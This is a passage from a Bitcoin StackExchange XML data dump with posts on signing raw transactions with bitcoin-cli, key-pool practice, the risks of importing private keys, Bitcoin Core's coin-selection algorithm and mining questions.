&quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1AsJjnWg5QKBThM6mK9jZ8mmo6KUzDjRD&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bash Shell: Sign Raw Transaction (successful):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Pay attention:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;scriptPubKey&lt;/code&gt; is copied from the &lt;code&gt;Prev_Tx_4325&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;redeemScript&lt;/code&gt; is left empty string: &quot;&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./bitcoin-cli -rpcpassword=123456 signrawtransaction &quot;01000000013ea2097dbb3bf6932b97d2469b4fa78e28a2e8d05c586affe9c8cb66dba525430000000000ffffffff0190d60200000000001976a91401ddbca1a39b60b54fb671297a4a20a7681e017188ac00000000&quot; '[{&quot;txid&quot;:&quot;4325a5db66cbc8e9ff6a585cd0e8a2288ea74f9b46d2972b93f63bbb7d09a23e&quot;,&quot;vout&quot;:0,&quot;scriptPubKey&quot;:&quot;76a91401ddbca1a39b60b54fb671297a4a20a7681e017188ac&quot;,&quot;redeemScript&quot;:&quot;&quot;}]' '[&quot;5J34hLVaP9UAj4BcdbgYoPia93zzDfo8JhTzUN2tf8qqRiZqtjY&quot;]' &quot;ALL&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{&#xA;    &quot;hex&quot; : &quot;01000000013ea2097dbb3bf6932b97d2469b4fa78e28a2e8d05c586affe9c8cb66dba52543000000008a47304402206f40f4eb8c6cab7c6dd45a132d437e736a6a0dddfb2b78b10e6efbcaf61592f602200d329a57d7a0c969cc349f41852da4ba1a3bc2245e656bdd41780455b97bf84a014104aa49fbe6608076318ff09171e3c2b4a2effa52d53a417371140642996693ae3ac53ce300fff7fef650d0a2418b087a237aa6838eed3bdfad0ec0069df7209f4affffffff0190d60200000000001976a91401ddbca1a39b60b54fb671297a4a20a7681e017188ac00000000&quot;,&#xA;    &quot;complete&quot; : true&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bash Shell: Decode signed transaction (successful):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ ./bitcoin-cli -rpcpassword=123456 decoderawtransaction 01000000013ea2097dbb3bf6932b97d2469b4fa78e28a2e8d05c586affe9c8cb66dba52543000000008a47304402206f40f4eb8c6cab7c6dd45a132d437e736a6a0dddfb2b78b10e6efbcaf61592f602200d329a57d7a0c969cc349f41852da4ba1a3bc2245e656bdd41780455b97bf84a014104aa49fbe6608076318ff09171e3c2b4a2effa52d53a417371140642996693ae3ac53ce300fff7fef650d0a2418b087a237aa6838eed3bdfad0ec0069df7209f4affffffff0190d60200000000001976a91401ddbca1a39b60b54fb671297a4a20a7681e017188ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;267550934eb413a623459464d88cb14ff47fa192df720cf8485b590812db8fba&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;4325a5db66cbc8e9ff6a585cd0e8a2288ea74f9b46d2972b93f63bbb7d09a23e&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;304402206f40f4eb8c6cab7c6dd45a132d437e736a6a0dddfb2b78b10e6efbcaf61592f602200d329a57d7a0c969cc349f41852da4ba1a3bc2245e656bdd41780455b97bf84a01 04aa49fbe6608076318ff09171e3c2b4a2effa52d53a417371140642996693ae3ac53ce300fff7fef650d0a2418b087a237aa6838eed3bdfad0ec0069df7209f4a&quot;,&#xA;                &quot;hex&quot; : &quot;47304402206f40f4eb8c6cab7c6dd45a132d437e736a6a0dddfb2b78b10e6efbcaf61592f602200d329a57d7a0c969cc349f41852da4ba1a3bc2245e656bdd41780455b97bf84a014104aa49fbe6608076318ff09171e3c2b4a2effa52d53a417371140642996693ae3ac53ce300fff7fef650d0a2418b087a237aa6838eed3bdfad0ec0069df7209f4a&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00186000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 01ddbca1a39b60b54fb671297a4a20a7681e0171 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a91401ddbca1a39b60b54fb671297a4a20a7681e017188ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1AsJjnWg5QKBThM6mK9jZ8mmo6KUzDjRD&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bash Shell: Send Raw Transaction (successful):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./bitcoin-cli -rpcpassword=123456 sendrawtransaction 01000000013ea2097dbb3bf6932b97d2469b4fa78e28a2e8d05c586affe9c8cb66dba52543000000008a47304402206f40f4eb8c6cab7c6dd45a132d437e736a6a0dddfb2b78b10e6efbcaf61592f602200d329a57d7a0c969cc349f41852da4ba1a3bc2245e656bdd41780455b97bf84a014104aa49fbe6608076318ff09171e3c2b4a2effa52d53a417371140642996693ae3ac53ce300fff7fef650d0a2418b087a237aa6838eed3bdfad0ec0069df7209f4affffffff0190d60200000000001976a91401ddbca1a39b60b54fb671297a4a20a7681e017188ac00000000&#xA;267550934eb413a623459464d88cb14ff47fa192df720cf8485b590812db8fba&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command output:&#xA;No output on command success!&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Conclusion  :-)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;By explaining and formulating the question I found a solution. It is really worth asking on StackExchange, and I got to the answer by myself!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: &lt;em&gt;Thanks for comments - I answered myself below. Ensure scriptPubKey is correct and leave redeemScript empty for simple transactions.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="18919" LastEditorUserId="3779" LastEditDate="2018-05-08T09:54:01.097" LastActivityDate="2018-05-08T09:54:01.097" Title="How to sign bitcoin transaction with 'bitcoind' and non-bitcoind-wallet private key?" Tags="|transactions|bitcoind|signature|bitcoin-cli|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="29956" PostTypeId="2" ParentId="28407" CreationDate="2014-08-09T20:43:12.480" Score="0" Body="&lt;p&gt;As long as you have the folder where .wallet and .info files are stored, your Bitcoins should be safe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try running Multibit on a different computer that is secure. You can copy over the data folder containing your .wallet and .info files, and you should have full access to your Bitcoins again. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-08-09T20:43:12.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29957" PostTypeId="1" CreationDate="2014-08-09T22:46:49.000" Score="7" ViewCount="1180" Body="&lt;p&gt;I'm wondering about what the best practices are around generating and maintaining key pools for a wallet.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the maximum number of keys/addresses that can be created for a single wallet? Phrased another way, what is the largest value one can safely put for the &lt;code&gt;keypool&lt;/code&gt; option in &lt;code&gt;bitcoin.conf&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I generate some keys with &lt;code&gt;bitcoind keypoolrefill&lt;/code&gt; then generate some new addresses and then call &lt;code&gt;keypoolrefill&lt;/code&gt; again, will the original addresses still work, and will my private key now work for all addresses I've ever created?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there some way to determine how many keys are left in the current key pool?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/developer-guide#storing-root-seeds&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin documentation&lt;/a&gt; says that this feature is actively being phased out. When will this happen and what will the new system be?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This wallet type is being actively phased out and discouraged from being used due to the backup hassle.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Answers to any of these questions is greatly appreciated.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Gavin Andresen (Bitcoin's Chief Scientist) has to say on the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1414.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;topic&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Backup every 30 sendtoaddress or generatenewaddress and you'll be fine-- you should always have at least 3 backup copies of all your keys.&lt;/p&gt;&#xA;&lt;p&gt;If you're running a very busy service so backing up every 30 is too often, then run with -keypool=1000 and backup at least every 300 sends/generates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-11-19T04:22:36.160" Title="Key Pools and best practices" Tags="|address|private-key|address-generation|keypool|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29959" PostTypeId="2" ParentId="29948" CreationDate="2014-08-09T22:57:55.260" Score="15" Body="&lt;p&gt;Key import by itself (from a trusted source of keys, such as your own cold storage or backups) isn't a dangerous thing. However, the vast number of ways one can cause problems for themselves through key import leads to these warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many such warnings appear to address more complex situations beyond bitcoind's scope. In this case, there can be many situations in which a weak key (e.g. from a brainwallet with bad password), or leaked key (suspicious origin, or generated by someone else) might be imported into bitcoind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the following may happen (with sample keys, of course):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;5KVFiYbW5qbFfuDwrhPdsA3ALH3PmrEdQnQrpDWrqpygncbpPY4&lt;/code&gt; is generated insecurely someplace (used on a physical coin, or otherwise bad origin), translating to address &lt;code&gt;1CD2nyv22gAGs8GAsdNa1rW3KinkCHgTFd&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;User imports &lt;code&gt;5KVFiYbW5qbFfuDwrhPdsA3ALH3PmrEdQnQrpDWrqpygncbpPY4&lt;/code&gt; and uses it in their wallet, as &lt;code&gt;1CD2nyv22gAGs8GAsdNa1rW3KinkCHgTFd&lt;/code&gt; in the UI.&lt;/li&gt;&#xA;&lt;li&gt;Dumpster-diver digs up improperly-erased hard disk owned by FooPhysicalCoinForge, digs up &lt;code&gt;5KVFiYbW5qbFfuDwrhPdsA3ALH3PmrEdQnQrpDWrqpygncbpPY4&lt;/code&gt; and sweeps it. Even if the address had 1 BTC on it originally and received 20BTC more, the attacker now has access to all of the funds received to it and currently spendable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3962" LastEditorUserId="5154" LastEditDate="2017-07-23T02:28:58.087" LastActivityDate="2017-07-23T02:28:58.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29960" PostTypeId="2" ParentId="29953" CreationDate="2014-08-09T23:02:51.953" Score="2" Body="&lt;p&gt;The change is anything that's left over when you take the outputs you'll be spending, subtract the value of the transaction sent, and subtract fees. Since transactions should be as small as possible, as few outputs as needed will be spent. In your case, 3 outputs will be spent, no fee is in place, so the following new outputs will be created:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;5 BTC to recipient&lt;/li&gt;&#xA;&lt;li&gt;1 BTC to a change address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3962" LastActivityDate="2014-08-09T23:02:51.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29961" PostTypeId="2" ParentId="29953" CreationDate="2014-08-10T00:02:55.573" Score="1" Body="&lt;p&gt;If none of your transaction outputs is large enough to be the sole input, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/wallet.cpp#L1129&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core's coin selection algorithm&lt;/a&gt; does multiple rounds of randomly adding unspent transaction outputs until their total is greater than or equal to the amount you are trying to transfer. Finally, it selects the combination with the least resulting change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example, it would use a combination of three of your four outputs, as 6BTC is more than the required 5BTC.&lt;br&gt;&#xA;Therefore, you would end up with one of the four original 2BTC transaction outputs, and the change of your transaction as a new transaction output with 1BTC.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-08-10T08:25:23.023" LastActivityDate="2014-08-10T08:25:23.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29962" PostTypeId="2" ParentId="1077" CreationDate="2014-08-10T01:23:55.543" Score="29" Body="&lt;p&gt;I couldn't find the results of the Coin Selection written out anywhere, and just finished piecing it together from the code. It works as &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1078/5406&quot;&gt;David mentioned&lt;/a&gt;, but here are more details.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3015e0bca6bc2cb8beb747873fdf7b80e74d679f/src/wallet.cpp#L1276&quot; rel=&quot;noreferrer&quot;&gt;Coin Selection Algorithm&lt;/a&gt; logic to transfer &lt;em&gt;Target&lt;/em&gt; amount&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If any of your &lt;a href=&quot;https://bitcoin.stackexchange.com/tags/utxo/info&quot;&gt;UTXO&lt;/a&gt;² matches the Target¹ it will be used.&lt;/li&gt;&#xA;&lt;li&gt;If the &quot;sum of all your UTXO smaller than the Target&quot; happens to match the Target, they will be used. (This is the case if you sweep a complete wallet.)&lt;/li&gt;&#xA;&lt;li&gt;If the &quot;sum of all your UTXO smaller than the Target&quot; doesn't surpass the target, the smallest UTXO greater than your Target will be used.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Else Bitcoin Core &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3015e0bca6bc2cb8beb747873fdf7b80e74d679f/src/wallet.cpp#L1129&quot; rel=&quot;noreferrer&quot;&gt;does 1000 rounds of randomly combining unspent transaction outputs&lt;/a&gt; until their sum is greater than or equal to the Target. If it happens to find an exact match, it stops early and uses that.&lt;br&gt;&#xA;Otherwise it finally settles for the minimum of &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the smallest UTXO greater than the Target&lt;/li&gt;&#xA;&lt;li&gt;the smallest combination of UTXO it discovered in Step 4.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As David mentioned, the subset problem will first restrict to UTXO that have at least one confirmation if sent by yourself, or six confirmations if received from another wallet, then later relaxes these requirements in two further passes if no suitable set of UTXO could be discovered.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Some examples&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alice has four UTXO:&lt;br&gt;&#xA;• UTXO_A 0.1BTC&lt;br&gt;&#xA;• UTXO_B 0.3BTC&lt;br&gt;&#xA;• UTXO_C 0.5BTC&lt;br&gt;&#xA;• UTXO_D 1BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I will be ignoring transaction fees for simplicity's sake.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example 1:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alice wants to send &lt;strong&gt;0.3BTC&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;em&gt;Bitcoin Core discovers that UTXO_B matches the Target, and it only uses UTXO_B as input.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example 2:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alice wants to send &lt;strong&gt;0.4BTC&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;em&gt;Bitcoin Core finds that UTXO_C is the smallest UTXO greater than the Target, and that the sum of all UTXO smaller than the target (i.e. &lt;code&gt;UTXO_A + UTXO_B = 0.1 + 0.3 = 0.4&lt;/code&gt;) matches the Target here. Both UTXO_A and UTXO_B are used as inputs.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example 3:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alice wants to send &lt;strong&gt;0.45BTC&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;em&gt;Bitcoin Core finds that UTXO_C is the smallest UTXO greater than the Target, and that the sum of all UTXO smaller than the target (i.e. &lt;code&gt;UTXO_A + UTXO_B = 0.1 + 0.3 = 0.4&lt;/code&gt;) does not surpass the Target. UTXO_C is used as the sole input, being the next smallest input greater than the Target.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example 4:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alice wants to send &lt;strong&gt;0.35BTC&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;em&gt;Bitcoin Core finds that UTXO_C is the smallest UTXO greater than the Target, and that the sum of all UTXO smaller than the target (i.e. &lt;code&gt;UTXO_A + UTXO_B = 0.1 + 0.3 = 0.4&lt;/code&gt;) does not match the Target. It adds up randomly selected UTXO 1000 times until they surpass the Target, remembering the smallest sufficient combination. The smallest sufficient combination is then compared with the smallest single input greater than the target. Assuming that it does find the best combination here which would be &lt;code&gt;UTXO_A + UTXO_B&lt;/code&gt;, it finds that &lt;code&gt;Target &amp;lt; UTXO_A + UTXO_B &amp;lt; UTXO_C&lt;/code&gt; and uses UTXO_A and UTXO_B as inputs.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example 5:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alice wants to send &lt;strong&gt;0.6BTC&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;em&gt;Bitcoin Core finds that UTXO_D is the smallest UTXO greater than the Target, and that the sum of all UTXO smaller than the target (i.e. &lt;code&gt;UTXO_A + UTXO_B + UTXO_C = 0.1 + 0.3 + 0.5 = 0.9&lt;/code&gt;) does not match the Target. It starts trying random combinations as before, and in this situation would probably discover that &lt;code&gt;UTXO_A + UTXO_C = Target&lt;/code&gt;. As it finds a combination that matches the Target, it breaks and immediately goes with that combination. UTXO_A and UTXO_C are used as inputs.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;¹&lt;sub&gt;&quot;Target&quot; is used here for the amount to be spent.&lt;/sub&gt;&lt;br&gt;&#xA;²&lt;sub&gt;UTXO = Unspent Transaction Output&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="98065" LastEditDate="2019-09-09T03:11:41.433" LastActivityDate="2019-09-09T03:11:41.433" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29963" PostTypeId="2" ParentId="29954" CreationDate="2014-08-10T01:53:04.103" Score="4" Body="&lt;p&gt;Banks &lt;em&gt;do&lt;/em&gt; lend out more money than they have. This concept is referred to as &lt;a href=&quot;http://en.wikipedia.org/wiki/Fractional_reserve_banking&quot; rel=&quot;nofollow&quot;&gt;Fractional Reserve Banking&lt;/a&gt;. Government regulation is supposed to impose a minimum of reserves they need to keep, limiting the amount of money they may create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between Bitcoin users and banks is that banks can lend out more money than they have, because they can just increase the account balance of their customer, while adding a liability of the customer to their own bookkeeping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, if a Bitcoin user lends bitcoins, for the borrower to be able to use them, he has to transfer actual bitcoins to the borrower. Unlike the banks' ability to increase different account balances at the same time, the Bitcoin lender cannot send the same bitcoins to different borrowers at the same time.&#xA;If however, the Bitcoin borrowers are satisfied by receiving a statement of liability from the lender, the lender could pursue Fractional Reserve Banking as well.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-08-10T08:28:53.160" LastActivityDate="2014-08-10T08:28:53.160" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29964" PostTypeId="1" AcceptedAnswerId="29976" CreationDate="2014-08-10T04:38:59.927" Score="1" ViewCount="1474" Body="&lt;p&gt;I've been hearing a lot of good things about Hive Web as a wallet. Apparently it's pretty secure, open source, and only requires that you keep a 12-word phrase safe. That said, what if they ever decided to shut down Hive Web suddenly? Would all your BTC go down with it, or could you simply spin up an instance of their &lt;a href=&quot;https://github.com/hivewallet/hive-js&quot; rel=&quot;nofollow&quot;&gt;open-source web server&lt;/a&gt; to regain access to your wallet?&lt;/p&gt;&#xA;" OwnerUserId="18783" LastEditorUserId="3413" LastEditDate="2014-08-11T16:06:27.497" LastActivityDate="2016-05-10T10:11:23.133" Title="What Happens if Hive Web Shuts Down?" Tags="|wallet|bip32-hd-wallets|hive|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29965" PostTypeId="1" AcceptedAnswerId="29984" CreationDate="2014-08-10T08:42:48.733" Score="0" ViewCount="2810" Body="&lt;p&gt;Please don't be rude, I'm not looking for making a living on bitcoin mining, I'm just experimenting with it a bit. At least I would like to, but I can not use properly the &lt;code&gt;GUIMiner&lt;/code&gt;. I reckon that I should be getting a bit better rates, like twice as good as now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see any option to enable processing by the GPU, I can only see my CPU in the list.&#xA;My hardware: Intel Dual-Core E5200, 2GB DRR2 RAM, Radeon HD7730 2GB VGA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already installed the AMD developer tools/kit, it made no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really looks like to me, that it only uses my CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P0wES.jpg&quot; alt=&quot;GUIMiner screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user18923" LastEditorUserId="5406" LastEditDate="2016-02-21T16:03:04.797" LastActivityDate="2016-02-21T16:03:04.797" Title="GUIMiner - Don't seem to recognize my GPU. Where to set it up?" Tags="|gpu-mining|miner-configuration|guiminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29966" PostTypeId="2" ParentId="29955" CreationDate="2014-08-10T09:51:39.420" Score="5" Body="&lt;h2&gt;Answering my own question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Two things basically got into way of creating and signing a raw bitcoin transaction using 'bitcoind' program:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Leaving 'redeemScript' to be the empty string&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It has to be empty for simple bitcoin transaction!&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Using single-quote mark (') to make the bitcoin RPC call looking nice and not messy.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's all.&lt;/p&gt;&#xA;" OwnerUserId="18919" LastActivityDate="2014-08-10T09:51:39.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29967" PostTypeId="2" ParentId="12743" CreationDate="2014-08-10T10:16:42.903" Score="-1" Body="&lt;p&gt;Use Coinbase's &quot;pay with bitcoin&quot; button or iframe. It also generates a new address for each payment but its free and very very simple.&lt;/p&gt;&#xA;" OwnerUserId="10088" LastActivityDate="2014-08-10T10:16:42.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29968" PostTypeId="1" CreationDate="2014-08-10T12:14:39.283" Score="-2" ViewCount="79" Body="&lt;p&gt;I have a couple of questions.  Is bitcoin the most profitable crypto currency right now how about in a year.  Is the Bitmain Antminer S1 Dual Blade 180 Gh/s Bitcoin Miner&#xA;A good miner?  Any suggestions good hashrate under 500 dollars?   Should I even start mining now or have I missed the train? Please answer as many of the questions you can.&lt;/p&gt;&#xA;" OwnerUserId="18925" LastEditorUserId="2306" LastEditDate="2017-04-26T21:32:52.153" LastActivityDate="2017-04-26T21:32:52.153" Title="Is bitcoin worth it?" Tags="|mining-hardware|" AnswerCount="1" CommentCount="2" ClosedDate="2014-08-11T14:41:01.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="29969" PostTypeId="1" CreationDate="2014-08-10T12:43:45.140" Score="2" ViewCount="58" Body="&lt;p&gt;I'm experimenting with writing some Bitcoin software in Node.JS using the &lt;a href=&quot;https://github.com/freewil/node-bitcoin&quot; rel=&quot;nofollow&quot;&gt;node-bitcoin&lt;/a&gt; lib to talk directly to my own &lt;code&gt;bitcoind&lt;/code&gt; via &lt;code&gt;JSON-RPC&lt;/code&gt;, and I am trying to work out the best-practice way to recognise when a bitcoin payment has been received by an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can really think of doing is is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a recipient provides the Bitcoin address they wish to receive payment to (presumes they have their own wallet already - else I could generate one for them)&lt;/li&gt;&#xA;&lt;li&gt;My webpage generates a QR code in the proscribed format for a user's smartphone wallet app to scan.&lt;/li&gt;&#xA;&lt;li&gt;The user scans the QR code and sends payment via their wallet app&lt;/li&gt;&#xA;&lt;li&gt;I then assumed I could poll &lt;code&gt;getreceivedbyaddress&lt;/code&gt; with the recipient's address until the transactions showed up, but &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt; explicitly state that this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Works only for addresses in the local wallet, external addresses will always show 0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I assume the solution is to generate a new receiving address for the recipient rather than let them provide their own receiving address. Ideally in this situation I'd generate a new receiving address for each sale the recipient makes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I can easily poll &lt;code&gt;getreceivedbyaddress&lt;/code&gt;, analyse the raw transaction when I see it come in, and, assuming it all makes sense, ping a web-socket event to the webpage telling it to close the QR code and spit out a formal receipt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make sense or is there a preferred way to do this?&lt;/p&gt;&#xA;" OwnerUserId="4321" LastActivityDate="2014-08-10T12:43:45.140" Title="Logical flow to check for receipt of a bitcoin payment" Tags="|bitcoind|json-rpc|payment|receiving|" AnswerCount="0" CommentCount="4" ClosedDate="2014-08-12T12:54:31.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="29972" PostTypeId="2" ParentId="29968" CreationDate="2014-08-10T13:18:42.760" Score="1" Body="&lt;p&gt;To get profitable mining in average you should have Miners with speed in Ths than Gh/s. Try checking the Bitcoin Mining Calculator to check how much profit you can make with the mining power you have.&lt;/p&gt;&#xA;" OwnerUserId="18927" LastActivityDate="2014-08-10T13:18:42.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29974" PostTypeId="2" ParentId="2972" CreationDate="2014-08-10T13:24:50.327" Score="0" Body="&lt;p&gt;Try using &lt;a href=&quot;http://purchasebitcoin.com.au&quot; rel=&quot;nofollow&quot;&gt;http://purchasebitcoin.com.au&lt;/a&gt; they are Australian owned and they deliver in less than an hour.&lt;/p&gt;&#xA;" OwnerUserId="18926" LastActivityDate="2014-08-10T13:24:50.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29975" PostTypeId="1" AcceptedAnswerId="29978" CreationDate="2014-08-10T15:58:32.167" Score="23" ViewCount="29969" Body="&lt;p&gt;I guess the question I'm asking here is what does it take for an altcoin to be ASIC-resistant? What does it need to have?&lt;/p&gt;&#xA;" OwnerUserId="3023" LastEditorUserId="5406" LastEditDate="2021-01-26T21:05:15.277" LastActivityDate="2021-01-26T21:05:15.277" Title="What does it mean for a cryptocurrency to be ASIC-resistant?" Tags="|mining-theory|altcoin|mining-hardware|asic|asic-resistance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
